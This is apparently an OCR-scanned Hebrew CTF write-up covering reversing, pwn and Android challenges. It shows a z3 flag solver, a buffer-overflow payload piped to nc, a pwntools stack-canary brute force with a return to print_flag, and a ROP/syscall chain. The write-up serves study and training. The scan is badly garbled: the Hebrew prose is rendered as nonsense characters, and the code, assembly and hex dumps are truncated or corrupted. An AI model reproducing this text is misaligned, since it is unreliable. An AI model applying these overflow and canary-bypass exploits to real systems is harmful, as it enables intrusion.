(rand tiles[i].image.width,rand tiles[i].image.height)], outline='Db
width=outline width)
image = image slicer in(rand tiles)
image.save (os.path.join (output dir, img name))
if name == "' main ':
input dir =
output dir =
number tiles = 2500
outline width = 0

input files = [f for f in os.listdir(input dir) if
os.path.isfile(os.path.join (input dir, f))]
for img file in input files:
slice(img file, input dir=input dir, output dir=output dir,
number tiles=number tiles, outline width=outline width)

:puzzle.png yaln NX NNOAI output_images N"'?'N7 772, INIX Y2

ONYR4 OF 0 0 00 i 4

£ -

:XIN 72TNW 1IN NIRYYTZ TWOR

MCL{cOn9R475 1 hOP3 yOu dldn7 dO 17 M4nu4LLy}
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(n1T172 300 ,Reversing Nn'1avj?) Forks Everywhere Nanx

XANIXRMN DX I]'T_‘l'|7 N7 ANK2

Challenge

Forks Everywhere
300

Can you solve this challenge without getting angry?

* challenge

Flag Submit

NN YNIN7 N0 ,"MINI YAl 91X MANKY

w1 IDA-Q Manrn NX N9 flag-n NN 117 X'W text-N NN XIXNY? 71X - crackme NaNX M> NKM

[9X¥IN 72TN NX 17 W'y XM

= R e SRR

xor eax, eax

mov dword ptr [rbp4enc_flag], 4Dh
mov dword ptr [rbp+enc

mov dword ptr [rbp+enc_flag+8], @Ceh
mov dword ptr [rbp+enc_flag+@Ch],
mov dword ptr [rbp+enc_flag+leh],
mov dword ptr [r »
mov dword ptr [ »
mov dword ptr [r N
mov dword ptr [ »
mov dword ptr [r g
mov dword ptr [ p
mov dword ptr [ ’
mov dword ptr [ »
mov dword ptr [r ’
mov dword ptr [ »
moV dword ptr [r ¥
mov dword ptr [ enc_ h], 21h
mov dword ptr [rbp+enc_flag+d4dh], eCFh
mov dword ptr [ 4
mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

movV dword ptr [

mov dword ptr [

mov dword ptr [r

mov dword ptr [r

mov dword ptr [r

mov dword ptr [

movV dword ptr [

mov dword ptr [

mov dword ptr [

mov dword ptr [r

movV [rbp+var_E

lea rdi, s
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#2711 (GHIDRA IX 121nD IDA-2 wnnwn? IN1) decompiler 12370 11NIX

et =1 ¥ J ¥

5 o= 8;

puts(™vou have something for me 2");
_ is0c39 _scanf("%s", s);

for ( 1 = strlen(s) & BxFD; 1 > B; --1 )
1
pid = fork();
if ( !pid )
1
v9 = s[i] + s[1 - 1] + s[i + 1];
vle = s[1i] * s[1i - 1] * s[i + 1];
;i;_=_(chaf?(s[i1ﬂ& 5[} - 1] & s[1 + 1]);
exit(status);
waitpid(pid, &stat loc, @);
/& = BYTEL(=t
if ( BYTEL(st } !'= enc_flag[i] )
1
puts({"Wrong input.™);
exit(1);
}

A=

}

if (w5 == 49 &% (s[@] ~ =[34]) == 48 && s[33] == 33 )
puts({"Congrats!");

else
puts("Wreng input.”);

return 8;

v

}

NIYoY7 N'7xn7 ' .enc_flag-7 nwm XN 'RIENAIY N7 input-nw DR'aN X ORI 1DNIXY NN TR
OP'NS Z3 nwa VPN wnnwa !Congrats 117 0'STN NDIMAY D 0'DN7 1XYW text-n NN

NMYWOX MY 117 27NN XINTDYXI7'NN 70 DX 1'78 D'0"ONY

from z3 import *

20,52,113,212,

p 125]

for i in range (35):
byte = BitVec (f"{i}",
inp.append (byte)

solver = Solver ()
for i in range (35):

solver.add (inp[i
solver.add (inp[i

i]

i]

i]

p2
solver.add(pt == dest|[i
tt "= pt

solver.add(tt == 49)

solver.add (inp[0] ~ inp|[3

if solver.check() == sat:
solution = solver.model ()
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https://github.com/Z3Prover/z3
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flag = []
for i in range (35):
flag.append (chr (int (str(solution[inp[i]]))))
print ("".join (flag))
else:
print ( )

INNXINN DX 727

MCL{maY 7h3 Fork wllL 83 wl7h Yo%)}

N01 ,N'N'Y 19'Y X7 DNY D'IN N9 W'Y R .22TD N7 DR 727 X7 1AaNKRN 72X Mid 179 7y nkw

TP D' K7W YI7'R 9'oInYg

(1220 72N R 117271 72T 270 17 kR AT - "%" v it o

MCL{maY 7h3 Fork wllL 83 wl7h YOU!}

(m1T1;72 100 ,Pwn Nn1aLV) Connection Failed Nanx

XANAIXR'TIN DR '7J|7] NN 1ANX2

Challenge

Connection Failed
100

Can you help me in establishing a connection and get the flag?

nc @.cloud.chals.io 24934
* Connection_f...

Flag Submit

P MYN DR YN ' .client-1 server ,0" X1 D'¥AP7 IW DN W'Y 17 v'ol N
7271 Mwn N yn'?a 7'nma client DN O'¥]7 Y 1DINA ZIP yaij7 y'oIn Nanxa
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:strace T 7V Ntyan nn 'an? non

YN 17 YI9PN W

openat (AT FDCWD, "

AW YN 011 ININ NI¥1 Lflag.txt Yalzn "oNw 'an? 0713 1INIX TN

$ echo "flag{Fake_Flag}" > flag.txt
$ ./server

:strace DY NYN DX QY YN TR ,NYIV KIN NN X 20 'OV TAIY NMNYNY NRN)

execve("./server”, ["./ ] X 90 /* 19 vars */)
brk(NULL) X 29ff000
01 /* ARCH_2??? */ 99) = -1 EINVAL (Invalid argument)
d.so.preload NOENT (No such file or directory)
etc/1ld.so.cache”, O_RDONLY EC) = 3
_IFREG|0644 = =67202,
PROT_READ, _PRI e)

P_PRIVATE
PROT_READ | PROT_|
13920, PROT_READ|PROT_

arch_prctl(ARCH 2

mprotect (0x7f8 84, PROT_READ)

mprotect(0x55 Se2@ 8 PROT_READ)

mprotect (0x7f8 4096, PROT_READ

munmap (@x718e@ 67202) )

brk(NULL) 71f29ffeee
71f2a20000) 71f2a20000

T_FDCWD, "flag.txt", O
{st_mode=S_IFREG|0@777
flag{Fake_Flag}\n", S

RDONLY
st_s

12)

F_INET, STREAM, IPPROTO_IP)
INET, sin_port=hton 000), sin_addr=inet_addr("127.1
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11XV MWD DY IR 11X n011 .5000 01192 127.1.33.7 NAIMDY |'TRN NIWN NIXTT 7211 DYonI

NYIY DY NN 1an? '

ryoy .flag-n NN N7IY VIYD MWD MIYPN NNXNAY VAT - TN N 1007 XY 7 kN X7 210

J1'N"9 NAMd KN 127.1.33.7 NaIMd% y1an? ' client-n DX 1an? 17 kvl

10 W = P
Do you want the flag ?

...001NY7 |ATN VAN - 72777 0'9¥N DN NN AWIN 7 'R ...1'7Y DNWRN DX 'Yy 110

argv=s qwora por - sen
argc= dword ptr -64h

fd= dword ptr -54h

addr= sockaddr ptr -Sgéh

user]_input= byte ptr -34h

var_2C= word ptr -2Ch

cp= byte ptr -2Ah

var_22= word ptr -22h

buf= byte ptr -2@h

cookie= gqword ptr -8

3 _ unwind {

endbre4

push rbp

mov rbp, rsp

sub rsp, 78h

mow [rbp+argc], edi

mov [rbp+argv], rsi

mov rax, Ts:28h

mov [rbpt+cockie], rax

xor eax, eax

mov gword ptr [rbp+user_input], "ON’
mov [rbp+var_2C], @

mov rax, '.8.8.721'

mov gword ptr [rbptcp], rax ; 127.8.8.1
mow [rbp+var_22], '1°

mov [rbp+addr.sa_family], 2

mow edi, Seee ; hostshort
call _htens

mov word ptr [rbptaddr.sa_data], ax
lea rdi, s ; "Do you want the flag "
call _puts

mov rax, cs:_ bss_start

mow rdi, rax ; stream

call _fflush

lea rax, [rbp+user_input]

mov rdi, rax

mow eax, @

call _gets

lea rax, [rbp+user_input]

lea rsi, s2 ;s "YES"

mow rdi, rax ;osl

call _strcmp

test eax, eax

jz short loc_133A

NIK7 0'715' NNIX 0N 72K ,YES-7 17w 0770 DR DY 121NN LIDA-N NIRAYZ D213 NNIRY 17D
0'713' 11NIX IDA-Q TIPN 7Y qon vann MWD 2w NAMdN X7 NNTE 127.0.0.1-7 no client-nw
N'NY D'INN 77122 D722 K7W QN9 RIE gets X'N 1N7W 0PN IR NOYIRY DYZI90Y NIRYY

.0'9011 0'IN 0ONT7? D'™71D' NNAX DTN AT NDTA .null-2 NNV X7 XN qoinl J']U'7l|7

MANNK NTO Matrix 2022
www.DigitalWhisper.co.il
25 2022 1,141 '




121 CP nanwnn Ty 0'-null M7 'wnni YES n7min NX 070 01507 T NIWYY D'XIN 1INIRY NN

:127.1.33.7 naiman NX 0'DN7

ou want the fla
t fla from t

mipnn NMYY DIpN2a 17 NIY NY? 0T DR NYYT7 27 0T YA 117 IRWIY D .119Y 72270 DR 721

v

% echo -e "YES\xB0\x08\x00\x80\x08\x00\x00127.1.33.7" nc ©.cloud.chals.io 24939

pLE_bof}

22T NN NI

MCL{1t5 51mpLE bOf}

(n1miEa 250 ,Pwn n'1avye) Cookies N1aANK

- SE— '71|72I NN NANKA
Challenge %
Cookies
nc 8.cloud.chals.io 17381
Flag Submit

ANIN Y'IN72 pwn NANK 7'NNA 220D TX,'7 IN

$ ./cookies

How many cookies do you want?

ich taste?
) Chocolate Chip.
2) Caramel Pretzel.

3) Peanut Butter.

> Cookie 55 is ready!

.011' 0179 1INT ...1 1-3 |'2 1901 7ajmi loop-2 Y11 ,190N 721771 MANKNY NX1 NRIIYRD DX TX

NIY7IN NX7 woN7 IDA-7 [nTn yan
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Xor
maw
maw
maw
call
maw
maw
M
call
maw
maw
mow
call
M
maw
call
lea
call
lea
maw
lea
maw
call
MOV X
cmp
jle

eax, eax

rax, cs:stdout@fcLIBC_2 2 5
ezi, @ 3 buf

rdi, rax 3 stream
_setbuf

rax, cs:stdin@@GLIBC 2 2 S
esi, @ ; buf

rdi, rax 3 stream
_setbuf

rax, cs:stderr@ficLIBC_2 2 5
esi, @ ; buf

rdi, rax ; stream
_sethuf

esi, 2 ; fd2

edi, 1 ; fd

_dup2

rdi, s ; "How many cookies do you want?”
_puts

rax, [rbptuser_input]

rsi, rax

rdi, aHd 3 UEhd”
eax, @

_iz0c99 scanf

EEX, [rbmusd‘_input]
ax, 1@

short loc_4813C2

NN a7 N 7on01 ox 72X ,10 XN NDIMT7 01007 071 NNIRY 'M'opnn 7TINY DX

.signed X'N NRNWNN 72K unsigned int XIN D'0Y71j7 1INIXY 1900NY

T2V NYUXIANY) DIRIYNA X 71ITA TIND 1900 Y'Y '7'9¢ 1901 0110107 D713 1ININY NNNIR NRT

QYN 19501 7w n72a00 DX "Iy nf7¥a 101 10-n |uPd Awn' RIN (JLE

27
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Technologic r

STIPN DR 01N7 1'UNN? 1X NIRI'0M K71 117 W'Y 1'WDY TR

L —
loc_401442:
movzx  eax, [rbptuser_input]
emp [rbp+var_14], ax
jbe loc_4613CA
- v
(™ 1=
loc_4B13CA:
call  _fork
mowv [rbp+pid], eax
cmp [rbp+pid], @
jnz short loc 461461
v v L
s = s = | (e =
alty ("] [lea rdi, aWhichTastelCho ; “Which taste?\nl) Chocolate Chip.\n2) Ca”... mov eax, @ |
call  _puts loc_481401:
lea rax, [rbp+buf] mov’ eax, [rbppid]
mov edx, 2eh ; ' ' ; nbytes mov edx, @ ; options
mov rsi, rax 3 buf mov esi, @ ; stat_loc
mov edi, @ ; fd mov edi, eax 5 pid
call  _read call  _waitpid
mov cax, @ mov [rbp+var_14], eax
jmp short loc_491455 movzx  eax, [rbp+var_1a]
lea ecx, [rax+l]
mov eax, [rbptvar_14]
mov edx, eax
mov esi, ecx
lea rdi, format ; "%d -> Cookie ¥d is ready!\n’
mov eax, @
call  _printf
movzx  eax, [rbpivar_1A]
add eax, 1
mov [rbp+var 147, ax
PEE]

,UTN fork MAxI* N1DINN NWTN DAY Wpan "IXY DYD DY NIN [IURIN .0'2'"IYN DT 2-7 2% '‘mnui

Ibuffer overflow 12 wran 132 178 011007 0712 12K X 8 7TIAa buffer 17 w'w nwin 1aTNI

How many cooki jou want?
o |
Which taste?

1) Chocolate Chip.
2) Caramel Pretzel.
3) Peanut Butter.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stack smashing detected ***: terminated

:canary 7y YT'n DX 2'NINY7 YN 0'XIN DNKX DX ,bof 191 [AnW canary DA W' 72X bof W' PR TR

https://en.wikipedia.org/wiki/Buffer overflow protection

TN IN 7 NOMT YX¥AT D712 NNIRY (111 ,IN 1IN 7V bruteforce NT nwyiw nn NX "aw"7 nin 7y
77212 qom . 75 2'wn'? yNa DN Npna Nnro 256 JiMa 0713 13NIX DY 70 canary-nn Ta73a

.canary-n 7710 |12t 7w pnyn X fork ' NNt N TAN canary-n fork 17 Uy

:print_flag n'x¥j7219 127 NX'1 - Y1977 |K7 1727 117 "N 0 1redy

from pwn import *
remote ( , 14051)

(payload) :

for i in range (250):
next test = 0x01 * i
next test = bytes([next test])
test payload = payload + next test
p.send(test payload)
if n not in p.recvuntil (
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return next test

p.sendlineafter (
p.recvuntil (
canary =
for i in range(7):
canary += bruteforce next byte( *8 + canary)
info (f"Canary: {hex(u64 (canary))}")

payload = w g

payload += canary

payload += * 8

payload += p64(elf.symbols.print flag)

p.send (payload)

p.interactive ()

:NQN V79N DX 7271 NPT AN INK ...72T7 NDNAENT IR Y

top/cookies’

) on port 17381: Done

3) Peanut Butter.

:XIN 727101

MCL{ALL OfF 7H3 cOOKi35 573 7H3 5am3}
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(n1TI72 400 ,Pwn N*M1aV) Mirror MANN

:NQN XN DX 7271 NTh AN

Challenge x
Mirror
Mirror mirror on the wall, link to the flag it is my goal.
MNote: 'flag.txt' is in the cwd.
nc @.cloud.chals.io 14387
Flag Submit

ANIN YN'72 pwn NANK 7'NNA 7270

AAAAAARAARARAAARAAARAAAARAAAAARAAAAAA

:|7YJI.U'7 anr |'1n‘7 IDA-Y9 YaI?n DX N7 1Y AT DX N0'9TNI D'ANID NNIXY AN DRI NDINNY NXKM)

3 signed _ int&4 mirror()
mirror proc near
sub rsp, 48288Fh
mow eax, B
mov edi, @ ; Td
mov rsi, rsp 3 buf
mov rdx, ds:buffersize ; count
syscall 5 LINUX - sys_read
mowv rdx, rax 3 count
mov eax, 1
push rsp
push 1
pop rdi ; Td
pop rsi 5 buf
syscall 5 LINUX - sys_write
add rsp, 4820@Fh
cmp rdx, 55h ; "U’
jle short exit

retn

mirror endp

:MYLN NX 71721 ,BoF N9 W'y nX1)
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NN YIDPRT TWORY N1MYN NYRAI9 NIY! o111, BoF NIWY? NNWONR 17 W' TN, |2

text:ee8888888848183D

.text:0800000000401030 print_flag:

Ltext:e0ea0000004210830 Mo eax, 2

Ltext:@0000000004010842 Mo rdi, offset false flag ; "false flag.txt"
LLexteopaRaaaaadaladc Mo esi, @

Jtext:efppeopeaadalesl maw kdx, 124h

.text:00000000004081056 syscall 3 LINUX - sys_cpen
.text : /860606808608041016858 mow rdi, rax

Ltextoe2aBaa800421856 Mo eax, 8

Ltext :0806080004010650 Mo rsi, offset buf

Ltext : 8608888888848186A mow rdx, ds:bufferSize
.text:000000000040816072 syscall ; LINUX - sys_read
LJtextofpaboooaadalava Mo eax, 1

Jtext:apaaeaaaaa481879 Mo edi, 1

. text:0000000006481687E syscall ; LINUX - sys write
Jtext:ebpoepbeaadalese call %45

:print_flag n'xj7219%7 Y1977 BoF n1tya? nomn

vyn 112 flag.txt yaizn NX 2'win'? no1n 27 .TI7a 2Mdw nd false_flag.txt NX 0720 NNIXY NXN)
NN 0'9TN? 117 "WOXR'Y payload 1Ix'™? 7211 "71X1 syscall opcode-n NX 117 w'w DWTI' NNIX .NIY

flag.txt 7w pINn

D"7D'Y syscalls [N Daw' .https://filippo.io/linux-syscall-table NN syscall-n N720 7y 112w

TIP7 TN . syscall NT'R YaIpw rax-n 7V 7701 nuw 7 'R 72,109 nnon'? yan 17 amyh

.85-n 71Ta n'N D'INN 190NY n72an W Q01121 D'ANID 1INIXY D'INN 50N rax-2 MMYIY nxl

false_flag.txt yaI1;7'7 unlink 11¥*7 "WoOXRW N1jzoNn7 12¥an syscalls-n N7201 NT'NN 2ANd 7V oI 1ayna
nw flag-n Nx 7007 false_flag.txt-7 nNa1 1o false_flag.txt 1IN flag.txt 7w symlink qux'"7 m~I

T2 XXNIYW N'X22190 OV INIR 0'9TN7 711 qoi1al

wimnm? a7
from pwn import *
p = remote ( , 14397)
payload = *16

payload += p64 (0x4010
payload += p64(0x4020

2a)
00)

payload += p64 (0x0)
payload += *16
payload += p64 (0x401000)
payload += #2.3

p.send (payload)

payload = “1®
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payload += p64(0x40102a)
payload += p64(0x402006)
payload += p64 (0x402000)
payload += *16

payload += p64 (0x40103d)

payload += *24
p.send (payload)
flag =

p.recvuntil ( )
flag += p.recvuntil (

success (flag.decode())

p.interactive ()

i Tipn nR yM

DDﬂé

¢ flag-n NX mawni

MCL{D1D yOu U53 7 OR H4Rd LINk?}
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(n1T172 200 ,Mobile n"1av§7) To Note Nanx

:N2N INTA 7PN NAanKa

Challenge x
To Note
| got this new app to help me keep better track of any random
thought.
Flag Submit

:flag.txt yal7a y'¥a .flag.txt Dwa yal?i ToNote.apk bwa apk yaip oy 9'7 Da 7251

B flag.txt - Notepad

File Edit View

2 645.41401
5 A4

n'xp"wxn Y'¥1 INI2 AN .INY'D Y DT 17 MK Y [I"O"IN NIV TAXRIPZ X7 IND AR NTY NNKN

NN LI Y7 TWORY rP'ayjonny n"xp"?sx NX1 107N NNTYVa

"]

To Note
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NIVTIN MNX 2pY7 TWON 12W) Logcat-2 70N01 DX 72X .ATIN ,INXYN NN 1'YN NIMY NNd INKY

:NQN QTN DR DR (1MTIVO T'RINTINA Log

Xy NI gx1 DN flag.txt-2 0N NIva X 1'woy flag.txt-2 DM90NN NX DMWY DNI90N

:matplotlib-2 wnnwnn V9170 2IMd1 3 DYWY7 VY7 XY

import matplotlib.pyplot as plt
arr = list (map(float, open( ) .read () .split()))

for i in range(len(arr)) :
if (4 =0) :
.append (arr[i])

ys.append (arr[i])

xs.pop ()
plt.scatter (ys, xs)
plt.show ()

TNN) D'DWNN Y 2 0DW 7Y DY XY NINd W'y 1% "My D x-0 'Y ynn TN )Y 1'on X
N'D NNINNY 27 M'Y .AN7¥N2 X7 NN 7Y DNIR [TRY 2rN R P7 L (op'Rn Dy wna anie

:0D"M7ON DY N"P'N NNIXA K¥N) flag.txt yalipnw

= = ) N
w Q w o w
=] = o =] =]
o Is] o =] o =]
L L s L L L
o O

00s

MCLE pl ot Twis s}

00ST 0001

0002

00se

:NIN 2TN 72K NI NWpR Ny

MCL{pLOt Twl5t}
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(n1mi71 500 ,Mobile n*11avp) Or Not To Note Nanx

:NQN XN DX 7271 NTh AN

Challenge

Or Not To Note
500

I've received some feedback about my previous v1.0 app.
hopefully with this new functionality I've made things a little

more secure.

& OrNotToNot....

Flag Submit

:user_data owa n''ni apk yalp oy ©'7 yale DAl

[ T cer_data

B omn ote.apk

:D'"INY'2 DXy v QX7 NXMNI AM ' N Y'™X]

B zbin
B zbin
B 4bin
B sbin
B cbin
B 7bin
B 2bin

B obin
B 10bin

B 11.bin

B 12bin
B 13bin

B 14bin

B 15 hin

(7712) 29 7Y 1-n 0'¥aR 29 DN O W 7'M

35
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0'N1 24 NI'NY7 DNIMKY DD D112 DNY 1721 N'YLI 101 VYN DYI Hex Editor-1 0'¥apnn 7702 Y\

MW 'dM

| 1 2 3 4 5 6 7 8 9 |10 |11 |12 13 (14 15 16 19 20|21 |22 |23
ooo00000 1D 99 7¢ €1 0O 00 OO 00 21 E4 OD 00 OO OO0 OO OO0 O3 S 00 3¢ 00 00 OO0
[ 2 1D %% 7¢ €1 00 00 OO 00 21 E4 OD OO0 OO0 00 OO 00 OI . 01 01 00 0O 00
D 99 7¢ €1 00 00 OO 00 Z1 E4 OD 0O OO 0O OO 00 OI 01 01 00 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 D4 03 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 55 09 00 0O
D 9% 7¢ €1 00 00 OO 0O 21 E4 OD 0O 00 OO0 OO0 0O O3 00 05 00 00 OO0
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 05 00 00 0O
D 9% 7¢ €1 00 OO0 OO 00 21 E4 OD 00 0O OO0 OO 0O O3 00 7E 01 01 00
D 99 7¢ €1 00 00 OO 00 21 E4 OD 0O OO OO OO 00 OO 00 00 00 0O 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 DZ 03 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 5e 09 00 0O
D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 04 00 0O 0O
[ D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 04 00 0O 0O
[ D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 7E 01 00 0O
00000 D 9% 7¢ €1 00 00 OO0 00 Z1 E4 OD 00 0O OO0 OO0 00 OO 00 00 00 00 00
00000 ] D 99 7¢ €1 00 00 OO 00 21 E4 OD OO OO OO OO 00 O3 00 DO 03 00 0O
00000384 1D 99 76 &1 00 00 OO 00 21 E4 OD 0O OO OO OO DO O3 00 55 09 00 0O

O'NAN NMINYI 1T INIX 0" 0'¥AZN ORY DAY K] NMAIT? 1T Yal? AN n72un? namnn

NI07InNa n"xp"?smn NX YN .|"yn,0'¥apn rb) |'2 D'NT DIYXRAN

1054 B O &

Or Not To Note (beta)

Nen-Optimal Resolution

NI 12 1'X7 WWORY 0N 7271 NN DIYN NYN'ODIR K7 N7W DUXIZITINY NNNIKY QY TIN DR
TANKY7 TINAY DRI ,|0NN 7V INWN 1YY OTIPN 7 0mn AN DX D™ DY LYY 0179 |n'o ny

NIX NPNINM 01790 1IN 7V NX'NYT XN ,7'7D 7NN X7 XIn DyoSn ,0TIpn
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2y 75non% 110X ,N1MA 'R NIVITIRIP DY DYTIN DIY NO9TIN K7W KIN DTIZN MANKNN "NY TIY

android
om. goo,

14

package or.note;

import
import
import
import
import

public class MainActivity extends AppCompatictivity {

:jadx-2 wnnwa D 0w Jipnn TR

MainActivity

android.os.Bundle;
android.util.DisplayMetrics;

android. view.View;

android.widget.Button;
androidx.appcompat. app. AppCompatActivity;

loaded from: classes.dex */

Button b;
private Takelote takeNote;

: protected

/% JADX INFO: Access modifiers changed fr
rr ctivity, androidx.activity.CompenentActivity, androidx.core.app.ComponentActivity, andr

@0verride // andreidx.fragment.app.Fragme
public void onCreate(Bundle bundle) {

super.onCreate(bundle);

setContentView(R.layout.activity main);

this.takelote = (TakelNote) findViewById(R.id.paintView);
DisplayMetrics displayvetrics = new DisplayMetrics();
getiindowtanager (). getDefaultDisplay() . getMetrics(displaytietrics);
this. takeNote.initCanvas(displayMetri

22 Button button = (Button) findViewById(R.id.clear);

this.b = butten;

23 button.setOnClickListener(new View.OnClickListener() {

@0verride // android.v "

public final void onClick(View view) {
MainActivity. this.m2lanbdaSonCreate$@SornoteMainActivity(view);

// from class: or.note.MainActivity$$External Syntheticl ambdad

iew.

LambdagonCreategegor-note-rainActivity regson: not valid jm
22 public ic */ void m2lambdasonCreate$esornoteMainActivity(view view) {
this.takelote.clear();

MANKT1NUXPYORYT 11D View-1 1t 1) ,)y0l TakeNote n'71y n'¥p'79x8nY yanaw nxXM)

or.note;

android.content.Context;
android.graphics.Bitmap;
android.graphics.Canvas;
android.graphics.Color;
android.graphics.Paint;
android.graphics.Path;
android.util.AttributeSet;
android.util.DisplayMetrics;
android.util.Log;
android.view.MotionEvent;
android.view.View;
android.widget.Toast;
java.util.ArrayList;
java.util.Iterator;

TakeNote extends View {
BRUSH SIZE = g
TOUCH TOLERANCE =
backgroundColor;
P mBitmap;
Paint mBitmapPa
Canvas mCanvas;
Paint mPai
Path mPath;
mX
e 2
ArrayList<PathProperties> paths;
strokeWidth;
COLOR =
BG _COLOR =

4.0f;

Color.rgb (7C

Color.rgb (248,

TakeNote (Context context) {
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this (context, null);

TakeNote (Context context, AttributeSet attributeSet) {
super (context, attributeSet);
this.paths = new ArraylList<>();
this.backgroundColor = BG COLOR;
this.mBitmapPaint = new Paint (4);
Paint paint = new Paint();
this.mPaint = paint;
paint.setAntiAlias (true) ;
paint.setDither (true) ;
paint.setColor (COLOR) ;
paint.setStyle (Paint.Style.STROKE) ;
paint.setStrokeJoin (Paint.Join.ROUND) ;
paint.setStrokeCap (Paint.Cap.ROUND) ;
paint.setXfermode (null) ;
paint.setAlpha (255);

initCanvas (DisplayMetrics displayMetrics) {

1 = displayMetrics.heightPixels;

i2 = displayMetrics.widthPixels;
Context context = getContext();
if (i !'= 2178 || 12 !'= 1080) {

Toast.makeText (context,

Log.d( ’ ) &
}
this.mBitmap = Bitmap.createBitmap(i2, i, Bitmap.Config.ARGB 8888) ;
this.mCanvas = new Canvas (this.mBitmap) ;
this.strokeWidth = BRUSH SIZE;

clear () {
new SaveNote (this.paths) .save () ;
this.paths.clear();
invalidate () ;

}

@Override
onDraw (Canvas canvas) {

canvas.save () ;

this.mCanvas.drawColor (this.backgroundColor) ;

Iterator<PathProperties> it = this.paths.iterator();

while (it.hasNext()) {
PathProperties next = it.next();
this.mPaint.setColor (next.color) ;
this.mPaint.setStrokeWidth (next.strokeWidth) ;
this.mPaint.setMaskFilter (null) ;
this.mCanvas.drawPath (next.path, this.mPaint);

}

canvas.drawBitmap (this.mBitmap, 0.0f, 0.0f, this.mBitmapPaint);

canvas.restore () ;

touchStart ( f, £2) {
.mPath = new Path () ;
.paths.add (new PathProperties (COLOR, this.strokeWidth, this.mPath));
.mPath.reset () ;
.mPath.moveTo (£, £2);
.mX = f;
.mY = £2;

touchMove ( f, £f2) {
abs = Math.abs(f - this.mX):;
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abs2 = Math.abs(f2 - this.mY);
if (abs >= TOUCH TOLERANCE | | abs2 >= TOUCH TOLERANCE) {
Path path = this.mPath;
£3 this.mX;
f4 = this.mY;
path.quadTo (£3, f4, (f + £3) / 2.0f, (f2 + f4) / 2.0f);
this.mX = £;
this.mY = £2;

touchUp () {
this.mPath.lineTo (this.mX, this.mY);

}

@Override
onTouchEvent (MotionEvent motionEvent)
x = motionEvent.getX() ;
y = motionEvent.getY();
action = motionEvent.getAction() ;
if (action == 0) {
touchStart (x, Vy):;
invalidate () ;
} else if (action == 1) {
touchUp () ;
invalidate () ;
} else if (action == 2) {
touchMove (x, Vy);
invalidate () ;
}

return true;

.1080x2178 7w N"XI71IT12 10N7 NOXYN NIXPI7ONNY NN NYNMUDIR-R7N NUXI7ITIN ["1ya ,N'WRD
N71Y90 NNN ,A10 75N01 DX X .WNNYNN 7¢ 0770 DR 1UYY7 ARIT 0IWD TIPN IRYY N1 DY

:NNQAN NI oI clear

new SaveNote (this.paths) .save();

72 DX LINIX MW7 MK SaveNote TN ,IN'YW I'¥N 7¢ INT nWyN7 XN paths NInwnnw nnina

:SaveNote 7y '70n01

or.note;

import android.util.Log;
import java.util.ArrayList;

SaveNote {
String TAG = g
ArrayList<PathProperties> note;

SaveNote (ArrayList<PathProperties> arrayList)
this.note = arraylList;

save () {
Log.d (this.TAG,
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N7 IR ?All Dipna HAL nn% .Logger-n 70T nYTINN NO9TN 71 X7X ,N'MY Ny¥aNn X7Y nX1)
:WIY VAN DWUN "I PathProperties-7 112v1 2t
or.note;

import android.graphics.Path;

PathProperties {
color;
Path path;
strokeWidth;

PathProperties ( i, i2, Path path) {
this.color = i;
this.strokeWidth = i2;
this.path = path;

NIN 727N DYOSN DA DTIZN NANKD 1NDYW '7¢ DAUNNN .07 DRI 117 W' DM YpRIR DTN
NITIPO DAY IX X7 NIVITIRIZ DAX'™ INWI'R DINIANY NNIK X'RIVIRD TR QY nwyn?
193 72K .N'9'Y90 NUXIZITY )X NN 12007 710 AT L |NNRN [I'YA7 N noR AR ArY? niny

1?70'wIy NN ™) INNNwa INIR Nx"'Y NITIPON IRA'XN 12 TP DIPN DIY 'K, 1I'RWY

X7 N1 X frida DATYA NI71IW9 ' 9D ANK A1RYY 'O, NIXY 10N T MM AT A7WAY NITING 2N IR
unn Dxya XINY Nannl (anxa TN o) HAL 7y nxp XNph 'mo7nn 91017 791 7'win

DTN 7707 'Myanwd (D770 'N12N '97 12 NINSY) T'RINTINA NIDINT NNINN 2 WWpnn

To guarantee that HALs have a predictable structure, each hardware-specific HAL interface has properties defined in
hardware/libhardware/include/hardware/hardware.h . This interface allows the Android system to load correct
versions of your HAL modules in a consistent way. A HAL interface consists of two components: modules and devices.

.DINI'2N DX ['AN7 NI017 'MTNI,T'RNTIR 7W 17nn TIRa DY) 7Aynn? nxN X7 RY 'Mo7nn

.(DMX12NN TNX 722 DNYY 2V DMTINY) DIIWRIN D'NAN 4 70 NdWINN NIYONoN MNN

o 1 2 3

N78N D'NAN DX ') DX Uittle endian-a timestamp nwyn? Dnw (Nzv1T X70) Napon? myan

:N2N N2TN NN NN ,NNN NKY 011011 190nY

Convert epoch to human-readable date and vice versa

1635162397 Timestamp to Human date

Supports Unix timestamps in seconds, milliseconds, microseconds and nanoseconds.

Assuming that this timestamp is in seconds:

GMT : Monday, October 25, 2021 11:46:37 AM
Your time zone : Monday, October 25, 2021 2:46:37 PM
Relative : 8 months ago
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D'N2N XY NIYNYN NN 207 N1017 "7 [1'0 75 IR .JNIRN NN AND1 DTN MANRNY MYON MNaY
NXIPY YaIP7 172 DX . T'RNTIR W 17n0 T ,0TIn 1201 '"MNNAY A7 JITNK )2 DX .INIMa N7y

X277 Y121 HAL-n 7y "ao0ma 117y

[I'VD AT IR INIR RNPY 17210 728 XD IMIR AKX X7 ,017 *7 IR X7 ,0T0 nmn TIpw juo
,NYPTN NNIKA D'YAR ' 7D TIV W, NY) 12 0'70N0N NIXY YA TA' 78Ny T¥aw 17 'mny

0772 0OP'7NI NP'OA DNIYR DR

N2 DR 7Y NNNNNY input.h-n yalpa [ty R, 77 in X7 nptonan yapa an iy

#ifndef ANDROID INCLUDE_HARDWARE_INPUT_H
#define ANDROID INCLUDE_HARDWARE INPUT H

#include < dware/hardware.h>

#include <stdint.h>
__BEGIN_DECLS

